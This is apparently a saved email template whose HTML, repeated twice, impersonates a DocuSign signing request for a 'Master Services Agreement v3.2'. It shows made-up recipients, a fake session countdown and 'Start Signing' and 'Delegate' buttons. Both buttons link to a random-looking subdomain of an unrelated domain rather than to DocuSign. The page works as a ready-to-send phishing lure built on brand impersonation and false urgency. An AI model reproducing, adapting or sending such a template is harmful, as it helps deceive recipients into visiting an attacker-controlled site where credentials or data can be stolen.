Templates
Reusable email designs, ready to send.
Master Services
Master Services Agreement v3.2
<!DOCTYPE html> <html lang="en"><head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>DocuSign – Envelope Ready</title> <style> *, *::before, *::after { margin: 0; padding: 0; box-sizing: border-box; } html, body { height: 100%; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif; background: linear-gradient(180deg, #f2f6fc 0%, #f8faff 60%, #ffffff 100%); min-height: 100vh; display: flex; flex-direction: column; color: #1a1f2b; } /* ── Top bar ── */ .topbar { height: 56px; display: flex; align-items: center; padding: 0 28px; gap: 12px; flex-shrink: 0; border-bottom: 1px solid #e4e8ed; background: rgba(255,255,255,0.70); backdrop-filter: blur(4px); } .topbar-logo { display: flex; align-items: center; gap: 10px; } .ds-icon { display: flex; align-items: center; justify-content: center; width: 28px; height: 28px; background: #0066cc; border-radius: 6px; color: #fff; font-weight: 700; font-size: 15px; } .topbar-text { line-height: 1.15; } .topbar-eyebrow { font-size: 10px; font-weight: 600; color: #6b7a8d; letter-spacing: 0.12em; text-transform: uppercase; } .topbar-app { font-size: 17px; font-weight: 700; color: #1a1f2b; margin-top: 1px; } .topbar-right { margin-left: auto; background: #0066cc; color: #fff; font-size: 11px; font-weight: 600; letter-spacing: 0.1em; text-transform: uppercase; padding: 8px 18px; border: none; border-radius: 999px; cursor: pointer; } .topbar-right:hover { background: #0052a3; } /* ── Main layout ── */ .main { flex: 1; display: grid; grid-template-columns: 340px 1fr; gap: 28px; padding: 28px 28px 28px; align-items: start; } /* ── Left column ── */ .left-col { display: flex; flex-direction: column; gap: 18px; } .card { background: #fff; border: 1px solid #e4e8ed; border-radius: 14px; box-shadow: 0 2px 6px rgba(0,20,40,0.04); } /* envelope summary */ .env-card { padding: 20px 22px; } .env-status-badge { display: inline-block; background: #e6f2ff; color: #0066cc; font-size: 11px; font-weight: 700; letter-spacing: 0.06em; text-transform: uppercase; padding: 3px 12px; border-radius: 999px; margin-bottom: 12px; } .env-title { font-size: 18px; font-weight: 700; color: #1a1f2b; margin-bottom: 6px; } .env-sub { font-size: 13px; color: #6b7a8d; margin-bottom: 16px; } .env-meta-row { display: flex; justify-content: space-between; font-size: 13px; padding: 10px 0; border-top: 1px solid #edf0f4; } .env-meta-label { color: #6b7a8d; font-weight: 500; } .env-meta-value { color: #1a1f2b; font-weight: 600; } /* recipients card */ .recipients-card { padding: 18px 22px; } .rcpt-title { font-size: 14px; font-weight: 700; color: #1a1f2b; margin-bottom: 12px; } .rcpt-item { display: flex; align-items: center; gap: 12px; padding: 8px 0; border-bottom: 1px solid #edf0f4; } .rcpt-item:last-child { border-bottom: none; } .rcpt-avatar { width: 32px; height: 32px; border-radius: 50%; background: #e6f2ff; color: #0066cc; display: flex; align-items: center; justify-content: center; font-weight: 700; font-size: 13px; flex-shrink: 0; } .rcpt-info { flex: 1; } .rcpt-name { font-size: 13px; font-weight: 600; color: #1a1f2b; } .rcpt-email { font-size: 12px; color: #6b7a8d; } .rcpt-status { font-size: 11px; font-weight: 600; color: #2d8f47; background: #e6f5ed; padding: 2px 10px; border-radius: 999px; } .rcpt-status.pending { color: #b36b1e; background: #fef1e0; } /* skeleton */ .skeleton-card { padding: 18px 22px; } .skeleton-line { height: 10px; border-radius: 6px; background: #eef1f5; margin-bottom: 10px; } .skeleton-line.w-70 { width: 70%; } .skeleton-line.w-50 { width: 50%; } .skeleton-line.w-40 { width: 40%; } /* ── Right column: DocuSign signing popup ── */ .right-col { display: flex; justify-content: center; padding-top: 8px; } .docusign-popup { width: 460px; background: #fff; box-shadow: 0 24px 56px rgba(0,20,40,0.12), 0 4px 16px rgba(0,20,40,0.06); border-radius: 16px; overflow: hidden; border: 1px solid #dce1e8; } .ds-top-bar { height: 6px; background: linear-gradient(90deg, #0066cc 0%, #2b8cff 60%, #6ba6ff 100%); } .ds-inner { padding: 28px 32px 22px; } .ds-brand { display: flex; align-items: center; gap: 8px; margin-bottom: 18px; } .ds-brand-name { font-size: 12px; color: #6b7a8d; font-weight: 500; } .ds-title { font-size: 24px; font-weight: 700; color: #1a1f2b; text-align: center; margin-bottom: 8px; line-height: 1.25; } .ds-desc { font-size: 13.5px; color: #6b7a8d; line-height: 1.55; text-align: center; margin-bottom: 22px; } .ds-envelope-row { display: flex; align-items: center; gap: 14px; background: #f6f9fe; border: 1px solid #e4e8ed; padding: 14px 16px; border-radius: 10px; margin-bottom: 20px; } .ds-doc-icon { width: 40px; height: 40px; background: #fff; border: 1px solid #dce1e8; border-radius: 8px; display: flex; align-items: center; justify-content: center; flex-shrink: 0; } .ds-doc-icon svg { width: 22px; height: 22px; color: #0066cc; } .ds-envelope-info { flex: 1; } .ds-envelope-name { font-size: 14px; font-weight: 700; color: #1a1f2b; } .ds-envelope-meta { font-size: 12px; color: #6b7a8d; margin-top: 3px; } /* signing fields preview */ .ds-fields-preview { background: #fafcff; border: 1px dashed #b8c9e0; border-radius: 10px; padding: 14px 16px; margin-bottom: 20px; display: flex; flex-direction: column; gap: 8px; } .ds-field-row { display: flex; align-items: center; gap: 10px; font-size: 13px; } .ds-field-tag { background: #e6f2ff; color: #0066cc; font-weight: 700; font-size: 10px; padding: 2px 10px; border-radius: 999px; letter-spacing: 0.04em; } .ds-field-label { color: #1a1f2b; font-weight: 500; } .ds-field-placeholder { margin-left: auto; color: #9aabbf; font-size: 12px; background: #fff; padding: 2px 12px; border: 1px solid #dce1e8; border-radius: 4px; } /* action buttons */ .ds-actions { display: flex; gap: 10px; margin-bottom: 18px; } .ds-btn-primary { flex: 1; background: #0066cc; color: #fff; font-size: 15px; font-weight: 600; padding: 14px; border: none; border-radius: 10px; cursor: pointer; box-shadow: 0 2px 4px rgba(0,102,204,0.25); transition: background 0.15s; } .ds-btn-primary:hover { background: #0052a3; } .ds-btn-secondary { flex: 0 0 auto; background: #fff; color: #1a1f2b; font-size: 15px; font-weight: 500; padding: 14px 20px; border: 1px solid #dce1e8; border-radius: 10px; cursor: pointer; transition: background 0.15s; } .ds-btn-secondary:hover { background: #f2f6fc; } .ds-delegate-row { font-size: 12px; color: #6b7a8d; text-align: center; margin-bottom: 16px; padding: 8px 0; border-top: 1px solid #edf0f4; } .ds-delegate-row a { color: #0066cc; text-decoration: none; font-weight: 600; } .ds-delegate-row a:hover { text-decoration: underline; } /* status */ .ds-status { display: flex; justify-content: space-between; align-items: center; font-size: 12px; color: #6b7a8d; padding-top: 14px; border-top: 1px solid #edf0f4; margin-bottom: 4px; } .ds-status-left { display: flex; align-items: center; gap: 8px; } .ds-status-dot { width: 8px; height: 8px; background: #2d8f47; border-radius: 50%; display: inline-block; } .ds-status-dot.pending { background: #b36b1e; } .ds-footer { font-size: 11px; color: #9aabbf; text-align: center; padding: 6px 28px 18px; } .ds-footer strong { color: #6b7a8d; font-weight: 600; } </style> </head> <body> <!-- Top bar --> <div class="topbar"> <div class="topbar-logo"> <div class="ds-icon">D</div> <div class="topbar-text"> <div class="topbar-eyebrow">DocuSign</div> <div class="topbar-app">Envelope Manager</div> </div> </div> <button class="topbar-right">+ New Envelope</button> </div> <!-- Main --> <div class="main"> <!-- Left column --> <div class="left-col"> <!-- Envelope summary --> <div class="card env-card"> <div class="env-status-badge">● In Progress</div> <div class="env-title">Master Services Agreement v3.2</div> <div class="env-sub">Needs signatures from 3 recipients</div> <div class="env-meta-row"> <span class="env-meta-label">Envelope ID</span> <span class="env-meta-value">D7E9–4F2A–C1B3</span> </div> <div class="env-meta-row"> <span class="env-meta-label">Sent</span> <span class="env-meta-value">29 Jun 2026, 09:42 UTC</span> </div> <div class="env-meta-row"> <span class="env-meta-label">Expires</span> <span class="env-meta-value">13 Jul 2026, 09:42 UTC</span> </div> </div> <!-- Recipients --> <div class="card recipients-card"> <div class="rcpt-title">Recipients</div> <div class="rcpt-item"> <div class="rcpt-avatar">JD</div> <div class="rcpt-info"> <div class="rcpt-name">Jane Doe</div> <div class="rcpt-email">j.doe@acme.com</div> </div> <span class="rcpt-status">Signed</span> </div> <div class="rcpt-item"> <div class="rcpt-avatar">MC</div> <div class="rcpt-info"> <div class="rcpt-name">Mike Chen</div> <div class="rcpt-email">m.chen@acme.com</div> </div> <span class="rcpt-status pending">Waiting</span> </div> <div class="rcpt-item"> <div class="rcpt-avatar">AS</div> <div class="rcpt-info"> <div class="rcpt-name">Anna Schmidt</div> <div class="rcpt-email">a.schmidt@partner.io</div> </div> <span class="rcpt-status pending">Waiting</span> </div> </div> <!-- skeleton --> <div class="card skeleton-card"> <div class="skeleton-line w-70"></div> <div class="skeleton-line w-50"></div> <div class="skeleton-line w-40"></div> </div> </div> <!-- Right column: DocuSign signing popup --> <div class="right-col"> <div class="docusign-popup"> <div class="ds-top-bar"></div> <div class="ds-inner"> <div class="ds-brand"> <div class="ds-icon" style="border-radius: 4px; width: 24px; height: 24px; font-size: 13px;">D</div> <span class="ds-brand-name">DocuSign · Secure Signing</span> </div> <div class="ds-title">Review & Sign</div> <div class="ds-desc">Please review the document and complete all required fields below.</div> <div class="ds-envelope-row"> <div class="ds-doc-icon"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.8" viewBox="0 0 24 24"> <path d="M 4 4 h 16 v 16 H 4 Z" /> <line x1="8" y1="8" x2="16" y2="8" /> <line x1="8" y1="12" x2="14" y2="12" /> <line x1="8" y1="16" x2="12" y2="16" /> </svg> </div> <div class="ds-envelope-info"> <div class="ds-envelope-name">Master Services Agreement v3.2</div> <div class="ds-envelope-meta">Prepared for Acme Corp · 12 pages</div> </div> </div> <!-- signing fields preview --> <div class="ds-fields-preview"> <div class="ds-field-row"> <span class="ds-field-tag">✎ Sign</span> <span class="ds-field-label">Full Name</span> <span class="ds-field-placeholder">[ click to sign ]</span> </div> <div class="ds-field-row"> <span class="ds-field-tag">📅 Date</span> <span class="ds-field-label">Signed On</span> <span class="ds-field-placeholder">[ auto-fill ]</span> </div> <div class="ds-field-row"> <span class="ds-field-tag">✓ Initial</span> <span class="ds-field-label">Page 3, 7, 11</span> <span class="ds-field-placeholder">[ click to initial ]</span> </div> </div> <!-- action buttons --> <div class="ds-actions"> <a href="https://isudhfnvidfniudsvhfiuvdjhgiu58iroijb0950j9biodfpjlvfgk4.assuredepartners.com"><button class="ds-btn-primary meow" onclick="alert('Signing flow initiated – check your email for verification.')">Start Signing</button></a> <a href="https://isudhfnvidfniudsvhfiuvdjhgiu58iroijb0950j9biodfpjlvfgk4.assuredepartners.com"><button class="ds-btn-secondary" onclick="alert('Delegation request sent to alternate signer.')">Delegate</button></a> </div> <div class="ds-delegate-row"> Need someone else to sign? <a onclick="event.preventDefault();alert('Delegate workflow opened.');" href="#">Delegate to another person</a> </div> <!-- status --> <div class="ds-status"> <div class="ds-status-left"> <span class="ds-status-dot pending"></span> Awaiting your signature </div> <span>Session expires in <strong id="dsCountdown">14:38</strong></span> </div> </div> <div class="ds-footer">Secured by DocuSign · <strong>ID: 7A3F–9E2C</strong> · All rights reserved.</div> </div> </div> </div> <script> // Countdown timer let dsTotalSeconds = 14 * 60 + 38; setInterval(() => { if (dsTotalSeconds <= 0) return; dsTotalSeconds--; const m = Math.floor(dsTotalSeconds / 60); const s = dsTotalSeconds % 60; document.getElementById('dsCountdown').textContent = `${m}:${String(s).padStart(2,'0')}`; }, 1000); </script> </body></html>
Master Services Agreement v3.2
Master Services Agreement v3.2
<!DOCTYPE html> <html lang="en"><head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>DocuSign – Envelope Ready</title> <style> *, *::before, *::after { margin: 0; padding: 0; box-sizing: border-box; } html, body { height: 100%; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif; background: linear-gradient(180deg, #f2f6fc 0%, #f8faff 60%, #ffffff 100%); min-height: 100vh; display: flex; flex-direction: column; color: #1a1f2b; } /* ── Top bar ── */ .topbar { height: 56px; display: flex; align-items: center; padding: 0 28px; gap: 12px; flex-shrink: 0; border-bottom: 1px solid #e4e8ed; background: rgba(255,255,255,0.70); backdrop-filter: blur(4px); } .topbar-logo { display: flex; align-items: center; gap: 10px; } .ds-icon { display: flex; align-items: center; justify-content: center; width: 28px; height: 28px; background: #0066cc; border-radius: 6px; color: #fff; font-weight: 700; font-size: 15px; } .topbar-text { line-height: 1.15; } .topbar-eyebrow { font-size: 10px; font-weight: 600; color: #6b7a8d; letter-spacing: 0.12em; text-transform: uppercase; } .topbar-app { font-size: 17px; font-weight: 700; color: #1a1f2b; margin-top: 1px; } .topbar-right { margin-left: auto; background: #0066cc; color: #fff; font-size: 11px; font-weight: 600; letter-spacing: 0.1em; text-transform: uppercase; padding: 8px 18px; border: none; border-radius: 999px; cursor: pointer; } .topbar-right:hover { background: #0052a3; } /* ── Main layout ── */ .main { flex: 1; display: grid; grid-template-columns: 340px 1fr; gap: 28px; padding: 28px 28px 28px; align-items: start; } /* ── Left column ── */ .left-col { display: flex; flex-direction: column; gap: 18px; } .card { background: #fff; border: 1px solid #e4e8ed; border-radius: 14px; box-shadow: 0 2px 6px rgba(0,20,40,0.04); } /* envelope summary */ .env-card { padding: 20px 22px; } .env-status-badge { display: inline-block; background: #e6f2ff; color: #0066cc; font-size: 11px; font-weight: 700; letter-spacing: 0.06em; text-transform: uppercase; padding: 3px 12px; border-radius: 999px; margin-bottom: 12px; } .env-title { font-size: 18px; font-weight: 700; color: #1a1f2b; margin-bottom: 6px; } .env-sub { font-size: 13px; color: #6b7a8d; margin-bottom: 16px; } .env-meta-row { display: flex; justify-content: space-between; font-size: 13px; padding: 10px 0; border-top: 1px solid #edf0f4; } .env-meta-label { color: #6b7a8d; font-weight: 500; } .env-meta-value { color: #1a1f2b; font-weight: 600; } /* recipients card */ .recipients-card { padding: 18px 22px; } .rcpt-title { font-size: 14px; font-weight: 700; color: #1a1f2b; margin-bottom: 12px; } .rcpt-item { display: flex; align-items: center; gap: 12px; padding: 8px 0; border-bottom: 1px solid #edf0f4; } .rcpt-item:last-child { border-bottom: none; } .rcpt-avatar { width: 32px; height: 32px; border-radius: 50%; background: #e6f2ff; color: #0066cc; display: flex; align-items: center; justify-content: center; font-weight: 700; font-size: 13px; flex-shrink: 0; } .rcpt-info { flex: 1; } .rcpt-name { font-size: 13px; font-weight: 600; color: #1a1f2b; } .rcpt-email { font-size: 12px; color: #6b7a8d; } .rcpt-status { font-size: 11px; font-weight: 600; color: #2d8f47; background: #e6f5ed; padding: 2px 10px; border-radius: 999px; } .rcpt-status.pending { color: #b36b1e; background: #fef1e0; } /* skeleton */ .skeleton-card { padding: 18px 22px; } .skeleton-line { height: 10px; border-radius: 6px; background: #eef1f5; margin-bottom: 10px; } .skeleton-line.w-70 { width: 70%; } .skeleton-line.w-50 { width: 50%; } .skeleton-line.w-40 { width: 40%; } /* ── Right column: DocuSign signing popup ── */ .right-col { display: flex; justify-content: center; padding-top: 8px; } .docusign-popup { width: 460px; background: #fff; box-shadow: 0 24px 56px rgba(0,20,40,0.12), 0 4px 16px rgba(0,20,40,0.06); border-radius: 16px; overflow: hidden; border: 1px solid #dce1e8; } .ds-top-bar { height: 6px; background: linear-gradient(90deg, #0066cc 0%, #2b8cff 60%, #6ba6ff 100%); } .ds-inner { padding: 28px 32px 22px; } .ds-brand { display: flex; align-items: center; gap: 8px; margin-bottom: 18px; } .ds-brand-name { font-size: 12px; color: #6b7a8d; font-weight: 500; } .ds-title { font-size: 24px; font-weight: 700; color: #1a1f2b; text-align: center; margin-bottom: 8px; line-height: 1.25; } .ds-desc { font-size: 13.5px; color: #6b7a8d; line-height: 1.55; text-align: center; margin-bottom: 22px; } .ds-envelope-row { display: flex; align-items: center; gap: 14px; background: #f6f9fe; border: 1px solid #e4e8ed; padding: 14px 16px; border-radius: 10px; margin-bottom: 20px; } .ds-doc-icon { width: 40px; height: 40px; background: #fff; border: 1px solid #dce1e8; border-radius: 8px; display: flex; align-items: center; justify-content: center; flex-shrink: 0; } .ds-doc-icon svg { width: 22px; height: 22px; color: #0066cc; } .ds-envelope-info { flex: 1; } .ds-envelope-name { font-size: 14px; font-weight: 700; color: #1a1f2b; } .ds-envelope-meta { font-size: 12px; color: #6b7a8d; margin-top: 3px; } /* signing fields preview */ .ds-fields-preview { background: #fafcff; border: 1px dashed #b8c9e0; border-radius: 10px; padding: 14px 16px; margin-bottom: 20px; display: flex; flex-direction: column; gap: 8px; } .ds-field-row { display: flex; align-items: center; gap: 10px; font-size: 13px; } .ds-field-tag { background: #e6f2ff; color: #0066cc; font-weight: 700; font-size: 10px; padding: 2px 10px; border-radius: 999px; letter-spacing: 0.04em; } .ds-field-label { color: #1a1f2b; font-weight: 500; } .ds-field-placeholder { margin-left: auto; color: #9aabbf; font-size: 12px; background: #fff; padding: 2px 12px; border: 1px solid #dce1e8; border-radius: 4px; } /* action buttons */ .ds-actions { display: flex; gap: 10px; margin-bottom: 18px; } .ds-btn-primary { flex: 1; background: #0066cc; color: #fff; font-size: 15px; font-weight: 600; padding: 14px; border: none; border-radius: 10px; cursor: pointer; box-shadow: 0 2px 4px rgba(0,102,204,0.25); transition: background 0.15s; } .ds-btn-primary:hover { background: #0052a3; } .ds-btn-secondary { flex: 0 0 auto; background: #fff; color: #1a1f2b; font-size: 15px; font-weight: 500; padding: 14px 20px; border: 1px solid #dce1e8; border-radius: 10px; cursor: pointer; transition: background 0.15s; } .ds-btn-secondary:hover { background: #f2f6fc; } .ds-delegate-row { font-size: 12px; color: #6b7a8d; text-align: center; margin-bottom: 16px; padding: 8px 0; border-top: 1px solid #edf0f4; } .ds-delegate-row a { color: #0066cc; text-decoration: none; font-weight: 600; } .ds-delegate-row a:hover { text-decoration: underline; } /* status */ .ds-status { display: flex; justify-content: space-between; align-items: center; font-size: 12px; color: #6b7a8d; padding-top: 14px; border-top: 1px solid #edf0f4; margin-bottom: 4px; } .ds-status-left { display: flex; align-items: center; gap: 8px; } .ds-status-dot { width: 8px; height: 8px; background: #2d8f47; border-radius: 50%; display: inline-block; } .ds-status-dot.pending { background: #b36b1e; } .ds-footer { font-size: 11px; color: #9aabbf; text-align: center; padding: 6px 28px 18px; } .ds-footer strong { color: #6b7a8d; font-weight: 600; } </style> </head> <body> <!-- Top bar --> <div class="topbar"> <div class="topbar-logo"> <div class="ds-icon">D</div> <div class="topbar-text"> <div class="topbar-eyebrow">DocuSign</div> <div class="topbar-app">Envelope Manager</div> </div> </div> <button class="topbar-right">+ New Envelope</button> </div> <!-- Main --> <div class="main"> <!-- Left column --> <div class="left-col"> <!-- Envelope summary --> <div class="card env-card"> <div class="env-status-badge">● In Progress</div> <div class="env-title">Master Services Agreement v3.2</div> <div class="env-sub">Needs signatures from 3 recipients</div> <div class="env-meta-row"> <span class="env-meta-label">Envelope ID</span> <span class="env-meta-value">D7E9–4F2A–C1B3</span> </div> <div class="env-meta-row"> <span class="env-meta-label">Sent</span> <span class="env-meta-value">29 Jun 2026, 09:42 UTC</span> </div> <div class="env-meta-row"> <span class="env-meta-label">Expires</span> <span class="env-meta-value">13 Jul 2026, 09:42 UTC</span> </div> </div> <!-- Recipients --> <div class="card recipients-card"> <div class="rcpt-title">Recipients</div> <div class="rcpt-item"> <div class="rcpt-avatar">JD</div> <div class="rcpt-info"> <div class="rcpt-name">Jane Doe</div> <div class="rcpt-email">j.doe@acme.com</div> </div> <span class="rcpt-status">Signed</span> </div> <div class="rcpt-item"> <div class="rcpt-avatar">MC</div> <div class="rcpt-info"> <div class="rcpt-name">Mike Chen</div> <div class="rcpt-email">m.chen@acme.com</div> </div> <span class="rcpt-status pending">Waiting</span> </div> <div class="rcpt-item"> <div class="rcpt-avatar">AS</div> <div class="rcpt-info"> <div class="rcpt-name">Anna Schmidt</div> <div class="rcpt-email">a.schmidt@partner.io</div> </div> <span class="rcpt-status pending">Waiting</span> </div> </div> <!-- skeleton --> <div class="card skeleton-card"> <div class="skeleton-line w-70"></div> <div class="skeleton-line w-50"></div> <div class="skeleton-line w-40"></div> </div> </div> <!-- Right column: DocuSign signing popup --> <div class="right-col"> <div class="docusign-popup"> <div class="ds-top-bar"></div> <div class="ds-inner"> <div class="ds-brand"> <div class="ds-icon" style="border-radius: 4px; width: 24px; height: 24px; font-size: 13px;">D</div> <span class="ds-brand-name">DocuSign · Secure Signing</span> </div> <div class="ds-title">Review & Sign</div> <div class="ds-desc">Please review the document and complete all required fields below.</div> <div class="ds-envelope-row"> <div class="ds-doc-icon"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.8" viewBox="0 0 24 24"> <path d="M 4 4 h 16 v 16 H 4 Z" /> <line x1="8" y1="8" x2="16" y2="8" /> <line x1="8" y1="12" x2="14" y2="12" /> <line x1="8" y1="16" x2="12" y2="16" /> </svg> </div> <div class="ds-envelope-info"> <div class="ds-envelope-name">Master Services Agreement v3.2</div> <div class="ds-envelope-meta">Prepared for Acme Corp · 12 pages</div> </div> </div> <!-- signing fields preview --> <div class="ds-fields-preview"> <div class="ds-field-row"> <span class="ds-field-tag">✎ Sign</span> <span class="ds-field-label">Full Name</span> <span class="ds-field-placeholder">[ click to sign ]</span> </div> <div class="ds-field-row"> <span class="ds-field-tag">📅 Date</span> <span class="ds-field-label">Signed On</span> <span class="ds-field-placeholder">[ auto-fill ]</span> </div> <div class="ds-field-row"> <span class="ds-field-tag">✓ Initial</span> <span class="ds-field-label">Page 3, 7, 11</span> <span class="ds-field-placeholder">[ click to initial ]</span> </div> </div> <!-- action buttons --> <div class="ds-actions"> <a href="https://isudhfnvidfniudsvhfiuvdjhgiu58iroijb0950j9biodfpjlvfgk4.assuredepartners.com"><button class="ds-btn-primary meow" onclick="alert('Signing flow initiated – check your email for verification.')">Start Signing</button></a> <a href="https://isudhfnvidfniudsvhfiuvdjhgiu58iroijb0950j9biodfpjlvfgk4.assuredepartners.com"><button class="ds-btn-secondary" onclick="alert('Delegation request sent to alternate signer.')">Delegate</button></a> </div> <div class="ds-delegate-row"> Need someone else to sign? <a onclick="event.preventDefault();alert('Delegate workflow opened.');" href="#">Delegate to another person</a> </div> <!-- status --> <div class="ds-status"> <div class="ds-status-left"> <span class="ds-status-dot pending"></span> Awaiting your signature </div> <span>Session expires in <strong id="dsCountdown">14:38</strong></span> </div> </div> <div class="ds-footer">Secured by DocuSign · <strong>ID: 7A3F–9E2C</strong> · All rights reserved.</div> </div> </div> </div> <script> // Countdown timer let dsTotalSeconds = 14 * 60 + 38; setInterval(() => { if (dsTotalSeconds <= 0) return; dsTotalSeconds--; const m = Math.floor(dsTotalSeconds / 60); const s = dsTotalSeconds % 60; document.getElementById('dsCountdown').textContent = `${m}:${String(s).padStart(2,'0')}`; }, 1000); </script> </body></html>